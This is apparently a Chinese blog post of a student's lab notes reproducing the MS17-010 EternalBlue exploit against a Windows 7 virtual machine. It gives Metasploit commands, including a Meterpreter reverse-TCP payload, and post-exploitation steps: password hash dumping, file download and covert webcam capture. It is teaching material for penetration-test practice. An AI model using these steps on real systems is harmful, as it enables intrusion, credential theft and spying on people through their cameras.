网络安全Day01笔记

最新推荐文章于 2024-08-07 15:41:06 发布

isolater-徐熠明

最新推荐文章于 2024-08-07 15:41:06 发布

阅读量42

点赞数

文章标签： web安全笔记安全

本文链接：https://blog.csdn.net/isolaterxu/article/details/133826037

版权

渗透测试基础实战

实例： MS17-010
软件：Vmware Workstation 17
攻击机：Kali 靶机环境：Win7

简要介绍：

 是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。 恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

复现步骤：

步骤1：查看受害者的机器是否存活 nmap （同一网段IP地址）（1/24）可加可不加（攻击机与靶机注要保持同一网段使用NAT,看相互是否ping通）
在这里插入图片描述

全面扫描 nmap -T4 -A -v -Pn (IP地址) 1/24

步骤2：启动msf(metasploit) 命令为msfconsole
在这里插入图片描述
查看必备参数是否填写完。

看到 RHOSTS（攻击目标）空缺
在这里插入图片描述

设置攻击目标并且看是否有MS17-010目标

步骤3 搜索漏洞命令为：search ms17-010
在这里插入图片描述

步骤4 使用序号为1的攻击模块
命令：use 0
在这里插入图片描述

步骤5 查看设置攻击负载
因为 no payload 所以要设置攻击负载
查看设置攻击负载
在这里插入图片描述

命令：set payload windows/x64/meterpreter/reverse_tcp

在这里插入图片描述

步骤6 设置受害者IP
命令：set rhost
步骤7 设置攻击者IP
命令：set lhost
在这里插入图片描述

输入run进行攻击结果会显示WIN,表示拿到权限
在这里插入图片描述

拿到主机shell,发现会存在一定乱码，是编码的问题
在这里插入图片描述

使用命令chcp 65001
补充：
936 =GBK(显示中文用的) 437=MS-DOS的默认字符集 65001=UTF-8
在这里插入图片描述

步骤8 屏幕快照
在这里插入图片描述

上传到C盘
在这里插入图片描述

看到快照了
在这里插入图片描述

从目标机中下载文件
在这里插入图片描述

命令 getuid——查看权限，为管理员
在这里插入图片描述

hashdump获取密码md5码
在这里插入图片描述

其他命令：
webcam_list ——查看摄像头
webcam_snap——通过摄像头拍照
webcam_stream——通过摄像头开启视频

isolater-徐熠明

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
1
评论
网络安全Day01笔记

是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
复制链接

扫一扫